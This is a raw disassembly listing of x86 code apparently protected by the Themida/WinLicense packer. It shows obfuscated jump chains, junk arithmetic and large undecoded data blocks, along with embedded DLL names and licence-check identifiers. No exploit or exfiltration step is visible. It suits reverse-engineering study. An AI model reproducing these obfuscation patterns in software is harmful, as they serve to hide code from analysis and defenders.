		push	ebp
		push	esp
		jmp	loc_570B1A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF69B5E9h, 89EA89FFh, 0BE5D5AD7h, 8D7C6EF4h, 815FFE01h
		dd 4F5AF4EDh, 53F5014Bh, 4F5AF468h, 0C5815B4Bh,	660D1FA8h
		dd 0ED81DD01h, 660D1FA8h, 24348B5Bh, 4C481h, 8B550000h
		dd 0C4832434h, 77215D04h, 2434FF1Ch, 4C4835Eh, 0FF34E3E9h
		dd 3CE957FFh, 35FFFF27h, 52573E88h, 0D55FE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57204E:				; CODE XREF: Themida_:00570B60j
		push	esp
		jmp	loc_562A93
; ---------------------------------------------------------------------------
		dd 0F74DDDF7h, 0CBC581DDh, 0E911CA50h, 0FFFEE5FAh
; ---------------------------------------------------------------------------

loc_572064:				; CODE XREF: Themida_:00560C5Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_562669
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 0FFh
		dd 3AB45066h, 8B66E520h, 0C4812404h, 2,	0FF1E5DE9h, 242489FFh
		dd 4240483h, 8324348Bh,	636804C4h, 8900004Eh, 4BF243Ch
		dd 52000000h, 0AD6F63BAh, 0AF0BE93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5720BE:				; CODE XREF: Themida_:0056FA1Aj
		push	ebp
		push	esp
		jmp	loc_56EB15
; ---------------------------------------------------------------------------
		db 58h,	81h, 44h
		dd 765A0424h, 0B8504164h, 2E68058Ch, 8244429h, 0FF3BE7E9h
		dd 4EC83FFh, 89241489h,	4C281E2h, 53000000h, 4BBh, 0E9DA0100h
		dd 0FFFFBBF1h, 2209BA52h, 0D53130A8h, 8124148Bh, 4C4h
		dd 1E1DE900h, 0C15CFFFFh, 4BE906E7h, 87FFFF64h,	0DDE581FDh
		dd 551CD815h, 0FFE524E9h, 51485AFFh, 7E2024B9h,	4839051Ch
		dd 0C82903BCh, 0BC48392Dh, 25E95903h, 55FFFEE8h, 0EC248FBDh
		dd 0E9E82974h, 0FFFF1CDDh, 5966CA00h, 88D08850h, 0E95A58C5h
		dd 0FFFEC4E9h, 0B60F6664h, 4E9C6802h, 34890000h, 0EC36824h
		dd 24890000h, 0E8C2E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_572176:				; CODE XREF: Themida_:0057242Ej
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		jmp	loc_568B31
; ---------------------------------------------------------------------------
		dd 0E2BF5751h, 89607F6Ah, 0CB315FF9h, 0FF5798E9h, 0E971B1FFh
		dd 0FFFFA844h
; ---------------------------------------------------------------------------

loc_572198:				; CODE XREF: Themida_:00565AE7j
		shl	edx, 1
		push	6400h
		jmp	loc_5703D7
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704C0h, 0D7E95C24h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5721B7:				; CODE XREF: Themida_:00568409j
		mov	[esp], ebp
		push	esp
		jmp	loc_5660B5
; ---------------------------------------------------------------------------

loc_5721C0:				; CODE XREF: Themida_:005657A2j
		sub	esi, 1A6824EDh
		add	esi, edx
		add	esi, 1A6824EDh
		add	esi, 21ED34CBh
		add	esi, 48257C26h
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 6E846E07h
		push	ecx
		jmp	loc_5711F6
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 0BDC1815Dh, 0E97A225Bh, 0FFFFB45Ch, 77BBC681h, 0EE815AACh
		dd 2B436188h, 0FEBB53E9h, 22E957FFh, 83FFFECEh,	1C8904ECh
		dd 0BB24h, 1FE90000h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_572237:				; CODE XREF: Themida_:0056E431j
		add	eax, 56B854F8h
		pop	ebp
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_56DD67
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481240Ch, 4, 0FEDB45E9h, 4C381FFh, 0E9000000h
		dd 0FFFFC37Dh, 32B56866h, 24148966h, 39E963B2h,	81FFFEF4h
		dd 4ECh, 241C8900h, 8950E389h, 405E0h, 0E8830000h, 320DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5722AE:				; CODE XREF: Themida_:0055F602j
		mov	eax, [esp]
		add	esp, 4
		add	ecx, esi
		jmp	loc_56F79E
; ---------------------------------------------------------------------------

loc_5722BB:				; CODE XREF: Themida_:005672A5j
		xchg	ebx, [esp]
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55F087
; ---------------------------------------------------------------------------
		dw 0EA20h
		dd 0F944E959h, 0DA0DFFFFh, 0E9331D05h, 0FFFEE476h, 282ABA52h
		dd 0F281088Eh, 472B6608h, 505AD329h, 5950D889h,	0E924048Bh
		dd 0FFFF6D03h, 51241C8Bh, 0C181E189h, 4, 8704C183h, 555C240Ch
		dd 4BDh, 5DEB0100h, 81E68956h, 4C6h, 4EE8300h, 5C243487h
		dd 0BA241489h, 519174C0h, 494FF281h, 0DAF7443Eh, 6CEA814Ah
		dd 29EA50C2h, 1C335AD3h, 241C3124h, 8B241C33h, 14892424h
		dd 77B16824h, 4890000h,	24148B24h, 0CAC8E951h, 2C8BFFFEh
		dd 4C48124h, 0E9000000h, 0FFFEE0F8h
; ---------------------------------------------------------------------------

loc_57236C:				; CODE XREF: Themida_:005682B4j
		mov	edx, 87EA95A5h
		jmp	loc_56253B
; ---------------------------------------------------------------------------

loc_572376:				; CODE XREF: Themida_:0055F897j
		add	ebx, 0D7DB2EC1h
		sub	ebx, 0ECE0865h
		add	ebx, 45B8459Ah
		add	ebx, 913B56ECh
		mov	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 25E61625h
		sub	edx, 0B10F13F2h
		jmp	loc_561B54
; ---------------------------------------------------------------------------

loc_5723A2:				; CODE XREF: Themida_:0055E1BFj
		push	4B5Fh
		jmp	loc_57027F
; ---------------------------------------------------------------------------

loc_5723AC:				; CODE XREF: Themida_:005682A4j
		add	ebx, edi
		push	dword ptr [ebx]
		pop	ecx
		mov	ebx, [esp]
		push	0DEEh
		jmp	loc_55E3DB
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 0FF400FE9h, 81E689FFh, 4C6h,	4EE8300h, 31243433h, 34332434h
		dd 2B3AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5723DE:				; CODE XREF: Themida_:0056E1C4j
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	ecx, [esp]
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		push	esi
		xchg	ecx, [esp]
		push	ecx
		jmp	loc_56C367
; ---------------------------------------------------------------------------
		db 8Fh
		dd 2FE94047h, 53FFFF9Fh, 4BBh, 5BD90100h, 8704C183h, 71E9240Ch
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57242B:				; CODE XREF: Themida_:0056C352j
		push	dword ptr [esp]
		jmp	loc_572176
; ---------------------------------------------------------------------------

loc_572433:				; CODE XREF: Themida_:0055E8D8j
		add	esp, 4
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_566DCF
; ---------------------------------------------------------------------------
		dd 6D5368h, 24348900h, 81E28952h, 4C2h,	4EA8100h, 87000000h
		dd 895C2414h, 4812424h,	424h, 0D9C4E900h, 2BBFFFFh, 81000000h
		dd 7B32A0C6h, 0C4BBE97Ah, 0EBC1FFFEh, 0B77CE907h, 0E5C1FFFEh
		dd 0F5E94D07h
		db 0C7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_57248B:				; CODE XREF: Themida_:0055DAF6j
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 16A05B4h
		jmp	loc_56CD1B
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 70CBE900h, 5A54FFFFh, 7073E951h, 0C8BFFFFh, 4C48124h
		dd 0E9000000h, 0FFFF1559h, 0E9241487h, 0FFFED695h, 58EC681h
		dd 1C8B3B45h, 0DFFAE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5724DA:				; CODE XREF: Themida_:00569067j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	100D1605h
		pop	ebx
		neg	ebx
		inc	ebx
		sub	ebx, 0EFF2E9FDh
		push	eax
		jmp	loc_568CC3
; ---------------------------------------------------------------------------
		dd 0E9B8F180h, 0FFFFC51Fh, 0DF685750h, 0FF55765Eh, 565F2434h
		dd 0FF1C0DE9h, 0EB8158FFh, 41607296h, 685BDE01h, 4538h
		dd 0B8240489h, 2, 80BA5253h, 0BB484A45h, 0A142C149h, 148BD329h
		dd 4C48124h, 81000000h,	0AE2E4ACBh, 0A6EB8116h,	813F1369h
		dd 576D85E3h, 7E3C14Bh,	0FF704FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_572559:				; CODE XREF: Themida_:0056E2ACj
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_57084F
; ---------------------------------------------------------------------------
		db 52h,	51h, 0B9h
		dd 2B7E36A4h, 363CF181h, 0E1C15678h, 6E9C102h, 0FED8D8E9h
		dd 240C89FFh, 42474FFh,	0FF3F1FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_572591:				; CODE XREF: Themida_:005620B0j
		push	ebp
		mov	ebp, 5CA1464Ah
		xor	ebp, 0EC83CE41h
		sub	edi, ebp
		jmp	loc_567A6E
; ---------------------------------------------------------------------------

loc_5725A4:				; CODE XREF: Themida_:00563C0Aj
		mov	[esp], ebp
		push	eax
		mov	eax, 0EBE52A2h
		mov	ebp, eax
		pop	eax
		jmp	loc_565930
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0D5h
		dd 0FF1D9D0Ah, 815D2434h, 4C4h,	5E2C100h, 0E904EC83h, 0FFFF3533h
		dd 3040F3B8h, 0CA91E90Fh, 0CB01FFFEh, 790DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5725E2:				; CODE XREF: Themida_:0056054Cj
		pop	esp
		jmp	loc_569060
; ---------------------------------------------------------------------------
		dd 8108E5C1h, 49688ACDh, 0E4BE5626h, 811C5637h,	7A07D8EEh
		dd 0CE814647h, 367F5982h, 2E80F681h, 0F531D7DFh, 81DDF75Eh
		dd 47E5D0EDh, 0E9E98935h, 0FFFF9F80h
; ---------------------------------------------------------------------------

loc_57261C:				; CODE XREF: Themida_:0055FA39j
		pop	edi
		jmp	loc_563534
; ---------------------------------------------------------------------------

loc_572622:				; CODE XREF: Themida_:00564AF2j
		mov	[esp], ebx
		jmp	loc_56667E
; ---------------------------------------------------------------------------

loc_57262A:				; CODE XREF: Themida_:00562D05j
		mov	esi, 4
		add	edi, 58557CB6h
		add	edi, esi
		sub	edi, 58557CB6h
		pop	esi
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_56850D
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 32623A9Dh
		jmp	loc_562316
; ---------------------------------------------------------------------------

loc_572658:				; CODE XREF: Themida_:0056527Ej
		sub	esp, 4
		jmp	loc_55FC35
; ---------------------------------------------------------------------------

loc_572660:				; CODE XREF: Themida_:005621D2j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 6F454B82h
		and	ecx, 6D9A0404h
		jmp	loc_56FD0D
; ---------------------------------------------------------------------------
		db 68h,	0BDh, 1Eh
		dd 875B1141h, 0FB8747FBh, 0FF22E8E9h, 242C89FFh, 0EC83E589h
		dd 241C8904h, 4BBh, 61B85000h, 1532337h, 0DD0158C5h, 0FFE2FDE9h
		dd 2C875EFFh, 24248B24h, 0FEB750E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5726C1:				; CODE XREF: Themida_:0056C7D7j
		sub	ecx, 69B312D0h
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_563F7E
; ---------------------------------------------------------------------------
		dd 51243C89h, 283FDB9h,	0FFCF89D0h, 0E9592434h,	0FFFED3BDh
		dd 4558C589h, 2921CD81h, 0C58101A3h, 7D393585h,	2891BF57h
		dd 0F7812C6Ah, 61772550h, 815FFD01h, 51C13BF5h,	5DEF01DCh
		dd 0FF2693E9h, 80CAFEFFh, 0C28037C2h, 53B450C8h, 6CE9E230h
		dd 58FFFEC0h, 240CFF51h, 0E9240C8Bh, 0FFFF39A4h, 54242C89h
		dd 4C5815Dh, 50000000h,	405E089h, 2D000000h, 4,	0FEDBA9E9h
		dd 7FBE56FFh, 814EF67Dh, 0DC1907CEh, 353C6877h,	34890000h
		dd 2414F724h, 4FFE875Eh, 0EC83FE87h, 242C8904h,	468CB951h
		dd 0E1C1481Fh, 0B8504904h, 77C012B9h, 0BC25D0F7h, 0F7792C7Ch
		dd 5D8F7D0h, 3EFD605Fh,	23DFBD55h, 0EDC1249Dh, 0CDE94D04h
		dd 81FFFEB3h, 4ECh, 24048900h, 0BA52D488h, 0
		dd 0E953DA01h, 0FFFFB674h
; ---------------------------------------------------------------------------

loc_5727C8:				; CODE XREF: Themida_:005606A9j
		sub	esp, 4
		jmp	loc_56C357
; ---------------------------------------------------------------------------

loc_5727D3:				; CODE XREF: Themida_:0056D634j
		sub	bl, al
		sub	bl, 20h
		push	ax
		jmp	loc_55F701
; ---------------------------------------------------------------------------

loc_5727DF:				; CODE XREF: Themida_:00568241j
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	15F8h
		mov	[esp], eax
		mov	eax, 4E8D70E0h
		jmp	loc_56D92A
; ---------------------------------------------------------------------------

loc_572805:				; CODE XREF: Themida_:0055F9B5j
		mov	ebx, 527D05F5h
		sub	ebx, 19A452Ch
		xor	ebx, 4B52EA86h
		jmp	loc_5677CE
; ---------------------------------------------------------------------------
		db 0E9h
		dd 3Dh,	49C91D1Fh, 52455355h, 642E3233h, 41006C6Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch
		dd 40007h, 11001Ah, 13h, 1A5h, 0
		dd 8DBE900h, 47680000h,	0E9062A96h, 0FFFDEAB5h,	2A96CD68h
		dd 0EAABE906h, 2B68FFFDh, 0E9062A98h, 0FFFDEAA1h, 2A994C68h
		dd 0EA97E906h, 0D868FFFDh, 0E9062A99h, 0FFFDEA8Dh, 2A9AC168h
		dd 0EA83E906h, 1E68FFFDh, 0E9062A9Bh, 0FFFDEA79h, 39B6AC7Dh
		dd 0EC696735h, 9D1A1CE8h, 54D1C799h, 8858350h, 9B685905h
		dd 4D1C209Dh, 7D2D653h,	0B4848805h, 87173DBAh, 5906FB21h
		dd 60AA7D79h, 4B706A3Ah, 5C6F2499h, 56BCD544h, 0C85C5224h
		dd 0BB87E58Dh, 37CBC595h, 1581A275h, 8D2123EFh,	0BF91D7Dh
		dd 2D672510h, 2E53511Fh, 0E0AEE046h, 41D5BDE2h,	5BE90C2Bh
		dd 0EC52B275h, 795BEF2Ch, 86548648h, 0E77B6388h, 395DC98Bh
		dd 96F4215h, 795BCAD3h,	9E73A365h, 0C02D485h, 0BCE212A6h
		dd 40A5A331h, 6DD9FACDh, 0B3681D49h, 0CB5F085Fh, 27B655BBh
		dd 1EE09559h, 5D8659F9h, 606D91F1h, 3729F855h, 0F8758B1Fh
		dd 1A937114h, 0F6C6EC58h, 9B6A90FCh, 2F08FDD7h,	197FFE27h
		dd 767040F4h, 6F036951h, 807A4A4Eh, 0DE86E12h, 0E89F7A54h
		dd 6F1h, 55D2C899h, 8858351h, 0B9363804h, 70EDE3B5h, 24A19F6Ch
		dd 0B7847521h, 69383CB9h, 23EEF26Fh, 0D0A0A421h, 0A33359D6h
		dd 59059F3Dh, 51C69979h, 124C10E0h, 8B74C4BCh, 749A066Ch
		dd 4E17ABA5h, 4EB4DBAEh, 7F737A8Eh, 1682E8AAh, 28F056B6h
		dd 4C7F737Ah, 3E0F68Ah,	0AD755DD7h, 0EF5089h, 0C42A3DD8h
		dd 7958A414h, 64F85E20h, 0B4DA4608h, 666AE7E9h,	0C074999Bh
		dd 0EE88F6F0h, 0E6BE74B0h, 66B540Bh, 42130000h,	0FDCBCF4Ch
		dd 0B27E82FFh, 5D2F33B0h, 19E6EA67h, 0CF9B9E1Bh, 0B63331FEh
		dd 6CE9E3B2h, 1E9B9D68h, 0D3504A1Ah, 61B71DADh,	13795905h
		dd 46A6CB40h, 689E5A22h, 2FA12E47h, 7F73D6E9h, 0F75DC98Bh
		dd 7F73D621h, 27FD9153h, 84385D57h, 284EBAB4h, 4F375C5Ah
		dd 733EF2BBh, 0C6984C71h, 63C7ABD0h, 0DEDAF0AAh, 0A5056525h
		dd 73D6993Fh, 67D99B7Fh, 7F73D6B1h, 0A06D01C3h,	0BB3170D9h
		dd 7ADDh, 10E00A00h, 0A6309916h, 1A936882h, 3668CEE4h
		dd 0C2D86C66h, 7F730F1Eh, 70A80E6Eh, 47F730Fh, 0A870D642h
		dd 0CC7F730Fh, 0D0A0760Ah, 966959D6h, 0FDB016Dh, 0E747641h
		dd 2F9501E9h, 7F730FE9h, 2535C98Bh, 0D9FF65C5h,	5B7F730Fh
		dd 69EF0599h, 8B755B83h, 1E395DC9h, 1BACD2F4h, 466C7C10h
		dd 0F8FC797Bh, 18062B2Dh, 417433F4h, 6A527771h,	63A5693Ah
		dd 56FF6CFh, 0A6FD0000h, 1FB3B580h, 5A7F7949h, 52BEE7BAh
		dd 5BBCE5ECh, 0C03DFF75h, 75F2ECBCh, 2591B285h,	752937BFh
		dd 7733573h, 0A81416E1h, 22B6B482h, 2A32FD01h, 213F14C4h
		dd 0F2582073h, 73213F2Ah, 0C0268C4Eh, 1717E79Bh, 213F6BB1h
		dd 0DF450D73h, 73213F39h, 0AD13793Bh, 0D2B693Fh, 1B893B4h
		dd 50Dh, 71EEE4B5h, 24A19F6Dh, 0D5525420h, 8C09FFD1h, 40BDBB88h
		dd 0D3A0113Dh, 855458D5h, 3F0A0E8Bh, 0ECBCC03Dh, 0BF4F75F2h
		dd 590B8359h, 6DE2B579h, 0F11610E0h, 4E736D3Dh,	3B01BAB6h
		dd 7F739194h, 31C3B7E0h, 0E0F3BB31h, 20FFFFFEh,	0F11610E0h
		dd 0E9557E51h, 64F8F6C3h, 8397EE54h, 2FF1755Bh,	0C6EFC2B2h
		dd 6A64345Ah, 0B9C95D45h, 73BF7453h, 2DC6EA73h,	0DC74DDBDh
		dd 50B6B482h, 0BC50521Eh, 0C329E60h, 341C413Fh,	0C3E9D7A0h
		dd 0EAD2F7F5h, 39D4056h, 59257323h, 0B17E3257h,	2EC28EB3h
		dd 2321EF75h, 3FB016FEh, 0F9F3C3E9h, 0ECAC6565h, 0D6FBF9C6h
		dd 0EC8D5AEEh, 0CAC781BBh, 16Fh, 987E5F7h, 3BA10D36h, 755B867Ch
		dd 228B476h, 40A5BBF7h,	52B4A1C5h, 0DAFFFDCAh, 0D2C4C2F2h
		dd 9F7234C8h, 45A40A76h, 2F95596Ch, 2DD016Dh, 720636D4h
		dd 8121EA7Eh, 0B31985AEh, 9371463Ah, 0E5B37EA4h, 82B41A18h
		dd 0C723B7B5h, 0A3739905h, 58282CA9h, 0CAB2F05Eh, 5F3A540Dh
		dd 3ECA8h, 0CDC39400h, 807E4C50h, 3133FF03h, 0E8DEB0B4h
		dd 9C9A676Bh, 7F4E1C1Fh, 3337B4B2h, 0E9ED6A64h,	9B9F1C1Eh
		dd 2E54D1CBh, 0AE0389Eh, 0C1947959h, 0E046A64Ch, 7F739338h
		dd 0E5DFAE3Ch, 857B4D7Fh, 22E47860h, 62BA204Fh,	167F7393h
		dd 1C82EE54h, 755D3EEFh, 0E2DCABD1h, 0E541D5BDh, 0C691B723h
		dd 68058BEh, 0ECB47959h, 59065686h, 0BA20E279h,	8D3D754h
		dd 5D2DE106h, 621F75Dh,	91537959h, 12F3BD2Bh, 22FDBE75h
		dd 3606Bh, 41370800h, 0F4F2C0C4h, 0A5A77377h, 5C522428h
		dd 100EDBDFh, 0F3C29093h, 0A7AB2826h, 5D61DED8h, 0F139092h
		dd 0A2C8453Fh, 0A6CAC12h, 35087959h, 0B380A6C0h, 14A890B5h
		dd 4F746E3Eh, 0ACD1CB9Bh, 10E20814h, 0CD86861Ah, 7391D807h
		dd 9840A67Fh, 9C7F7390h, 2F4B74DAh, 87BB3132h, 0FFFFFD1Fh
		dd 1610E0B4h, 897E51F1h, 0AE96BBBDh, 7376DC48h,	0F1755B8Ah
		dd 0DC01FBCBh, 0FAF0C2F4h, 0FD59EDD5h, 0E555BE3Bh, 1A3B0E86h
		dd 867148AEh, 0C183755Bh, 6D370F35h, 7DA11162h,	0A6785CC0h
		dd 4C0EA259h, 0CCF05C79h, 0C781CB55h, 9FAF4383h, 644CD239h
		dd 9602C4DBh, 0FA3A570h, 0B2D3A646h, 2086E646h,	0CB1B84F8h
		dd 0B888BA7Ch, 9B142ABEh, 0B9C13340h, 3D625C2Bh, 5D83EF55h
		dd 1216938Dh, 64DA4842h, 1002CFD7h, 2777E35h, 4E1F0000h
		dd 9D7DB58h, 0BE8A8E0Bh, 693B3FBCh, 25F2F673h, 0FBA7AA27h
		dd 0C23F3D0Ah, 78F5EFBEh, 2AA7A974h, 0DF5C5626h, 15C329B9h
		dd 1F795909h, 21F4D74Ch, 486D6B38h, 0A6CBC594h,	86F258BEh
		dd 5D3EFD20h, 51BD7F75h, 0E15E602Bh, 0EB1012DDh, 0FF6D6737h
		dd 0BE751141h, 1A99502Bh, 0C2000002h, 7A7EFBF1h, 2D31AEACh
		dd 0DEE25F61h, 9599160Ch, 4A4DCAC8h, 0E2E0AD1Ch, 98926165h
		dd 4A4C171Bh, 0FFF9C9CDh, 66CC5C82h, 795908B6h,	0F47AEFC2h
		dd 38980421h, 93AA72D8h, 42CE7F73h, 9B9A9C68h, 0F78BF128h
		dd 5D7A3EE1h, 0C62C8C75h, 79594A16h, 70CC6022h,	4C1C42AEh
		dd 10E5D552h, 0F12187F3h, 7379594Ah, 0BD88CB1h,	0AC22E80Dh
		dd 0A775DBDFh, 0D179594Ah, 567B7143h, 25A2086Eh, 0D7436035h
		dd 3D375377h, 1C77C6EDh, 66A27288h, 4C67959h, 615B2BDFh
		dd 88EE4E3Ch, 79596650h, 0A68E22E4h, 0E9666030h, 85115E5h
		dd 0A676DC24h, 0D27959E3h, 86FCE010h, 635176DCh, 2055EC3Fh
		dd 89C32BCh, 1C267937h,	0DD43A363h, 7959C13Fh, 0CD0B7139h
		dd 677959C1h, 0D5AB3FA5h, 74723F05h, 0BD8D910Eh, 1DEA9EC3h
		dd 8533FA1Fh, 72978D5Fh, 3DF6F68Ah, 8F85577Dh, 5B5525FBh
		dd 8BCFCBEFh, 4994C905h, 0C39094B5h, 7D3559C5h,	8ACF2B9Eh
		dd 0C3723BCFh, 0EFA8B2EDh, 219E9C69h, 2D52501Dh, 0A379DF3Fh
		dd 0D5795972h, 0DEA97F13h, 57EBB7DCh, 4D4B189Eh, 2FCCCD0h
		dd 8DF1E9DDh, 0DD7121CCh, 0D4CE9E24h, 76744268h, 0EDBDC1E2h
		dd 0AD6387F3h, 8B6F67ECh, 0AACFCD9Bh, 5F2A5CC2h, 4C00C95Dh
		dd 825C817Fh, 0FBCB510Ah, 0C61C3637h, 0AC871953h, 0FA7AAA0Eh
		dd 6FEC5251h, 7CA19B6Bh, 80EC09DCh, 0FC908A5Ah,	9CAB86ECh
		dd 0F319CBC5h, 19BF2521h, 1BBBB5F4h, 35FF359h, 1D4C441h
		dd 0F51278E4h, 97B19B59h, 2CFCB0D5h, 1777B532h,	836F6BB1h
		dd 25F359B5h, 4FB5836Fh, 7F13D58Dh, 0BADFD9A9h,	66ECB0C6h
		dd 0F3AC2406h, 37A39D6Dh, 21464411h, 3E380739h,	7C9D3119h
		dd 8349183Eh, 0AC94B9B3h, 0A26D2146h, 2D937BA0h, 0F9F3C399h
		dd 584E20D4h, 1AD36733h, 4DCAC494h, 5A7F7949h
		dd 18E60C6Ch, 9B0DF51Ah, 65A7EC7Dh, 8EB3AD7Dh, 982CEEA6h
		dd 8BFh, 6587C600h, 0E276703Fh,	190FE0A7h, 767040F4h, 0D0D29D51h
		dd 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h,	9EA06C20h
		dd 0F9F7C579h, 8950FFD4h, 405E0h, 0E8830000h, 24048704h
		dd 5024248Bh, 405E089h,	83000000h, 48704E8h, 2C895C24h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56241C89h
		dd 667AD068h, 0F7565E0Eh, 815E2414h, 911034C6h,	5EF58914h
		dd 8904EC83h, 4832424h,	505B0424h, 8B8h, 51D80100h, 0B9h
		dd 89C10100h, 8B585929h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551321
; ---------------------------------------------------------------------------
		dw 885Ch
		dd 9D5DB852h, 0C503062Ah, 0E0B7E0FFh, 0D8263382h, 5AB1109Eh
		dd 309C26ADh, 84095C92h, 0FD490C00h, 61153463h,	2179294Dh
		dd 477BFh, 69AC27B3h, 75C86B52h, 0AC3D0419h, 61B1386Bh
		dd 0E549544Ch, 196D5F33h, 3B5B0064h, 0DEB47DC3h, 27F221F7h
		dd 5E911BEEh, 0F0BC3471h, 907D47CDh, 26B67165h,	9C0749FBh
		dd 0A84648AFh, 97DC11DDh, 0F2BF5E21h, 4254736Ah, 6EDB770Ch
		dd 0C82266EBh, 0F1AE6134h, 0AA2918AFh, 5E84241h, 0E3000000h
		dd 806DCC12h, 5AF88B66h, 6C39C281h, 680000h, 0E8000000h
		dd 9, 21847A73h, 0FD91750Ah, 0F59580Bh,	34FFC0BFh, 9880F11h
		dd 0F000000h, 38Ch, 0FE8B6600h,	4EDABF5Bh, 0F3813161h
		dd 2436425h, 3C78166h, 0B8C381D3h, 81423130h, 2E1776EBh
		dd 5E87Ch, 0C4FD0000h, 5EAC4235h, 8F585253h, 0B70F0A04h
		dd 3E983C3h, 7E9h, 0BE011C00h, 0DF994230h, 60F98149h, 0FFFFF94h
		dd 0FFFFA185h, 12E9FFh,	4D0C0000h, 75EB8474h, 36177588h
		dd 0F8A0882Ah, 0E3EBAA02h, 8EE9h, 0BD836000h, 6282155h
		dd 5840F00h, 0E9000000h, 79h, 3E80006Ah, 8850F30h, 6A000000h
		dd 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah, 24h
		dd 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 0F203E80h, 1285h, 17E8000h
		dd 8850F00h, 83000000h,	16E908C4h, 8D000000h, 281D9185h
		dd 4895006h, 34895024h,	0FF006A24h, 280DE995h, 0C6C36106h
		dd 280D2585h, 4E84D06h,	0A8000000h, 50A43576h, 424448Bh
		dd 4489008Bh, 0FF580424h, 28174DB5h, 0BB858D06h, 0FF06283Bh
		dd 0E98589D0h, 0E906280Dh, 0AAh, 74666F53h, 65726177h
		dd 6E69575Ch, 6563694Ch, 65736Eh, 63656843h, 4E496Bh, 6F727058h
		dd 69784574h, 68430074h, 4F6B6365h, 57005455h, 694C6E69h
		dd 736E6563h, 72655665h, 6E6F6973h, 6E695700h, 6563694Ch
		dd 4465736Eh, 65766972h, 72655672h, 6E6F6973h, 6E695700h
		dd 6563694Ch, 4965736Eh, 6174736Eh, 65636Eh, 74697845h
		dd 50006B4Fh, 49636F72h, 7250004Eh, 554F636Fh, 78450054h
		dd 4E497469h, 69784500h, 54554F74h, 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	2AA08185h
		dd 7D858D06h, 50062AA0h, 9FE7858Dh, 6850062Ah, 80000001h
		dd 0A08D95FFh, 196A062Ah, 0A081B5FFh, 16A062Ah,	858D006Ah
		dd 62AA016h, 7DB5FF50h,	0FF062AA0h, 2823C195h, 7DB5FF06h
		dd 0FF062AA0h, 2AA08995h, 7DB5FF06h, 0FF062AA0h, 28203D95h
		dd 8589C306h, 62AA081h,	0A07D858Dh, 8D50062Ah, 2A9FE785h
		dd 1685006h, 0FF800000h, 2AA08D95h, 8D046A06h, 2AA08185h
		dd 46A5006h, 858D006Ah,	62AA040h, 7DB5FF50h, 0FF062AA0h
		dd 2823C195h, 7DB5FF06h, 0FF062AA0h, 2AA08995h,	7DB5FF06h
